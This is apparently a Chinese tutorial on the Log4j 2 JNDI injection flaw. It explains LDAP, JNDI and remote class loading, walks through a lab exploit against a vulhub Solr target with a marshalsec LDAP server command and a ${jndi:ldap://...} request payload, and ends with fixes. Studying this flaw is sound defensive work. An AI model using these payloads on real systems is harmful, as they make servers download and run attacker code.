log4j JNDI注入漏洞
log4j JNDI注入漏洞
一、LDAP介绍
LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。
二、JDBC介绍
JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。
三、JNDI介绍
JNDI是一种规范,JNDI的全称是Java Naming and Directory Interface,Java 命名与目录接口。可以根据名字找到对应资源。
JNDI可以访问的服务:
LDAP目录服务、RMI远程方法调用、DNS、文件系统等。
四、JNDI命名引用
1、在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。
比如:远程HTTP服务的一个.class文件。
2、如果JNDI客户端,在LDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。
3、如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。
五、log4j JNDI注入漏洞
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
个人理解:(不一定正确)
log4j JNDI注入漏洞主要是因为log4j在日志记录的方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。
漏洞利用:
1、kali中开启vulhub中log4j的靶机
2、开启获取资源的http服务器
3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)
4、开启RMI/LDAP服务(本机的9999端口)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999
5、bp发送payload
http://192.168.142.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.142.1:9999/test}
修复思路:
1、禁止用户请求参数出现攻击关键字
2、禁止lookup下载远程文件(命名引用)
3、禁止log4j的应用连接外网
4、禁止log4j使用lookup
5、从log4j jar包中删除lookup(适合2.10以下版本)
修复方案:
1、将log4j框架升级到2.17.1版本
2、使用安全产品防护
热门相关:超武穿梭 名门天后:重生国民千金 最强装逼打脸系统 战神 重生之至尊千金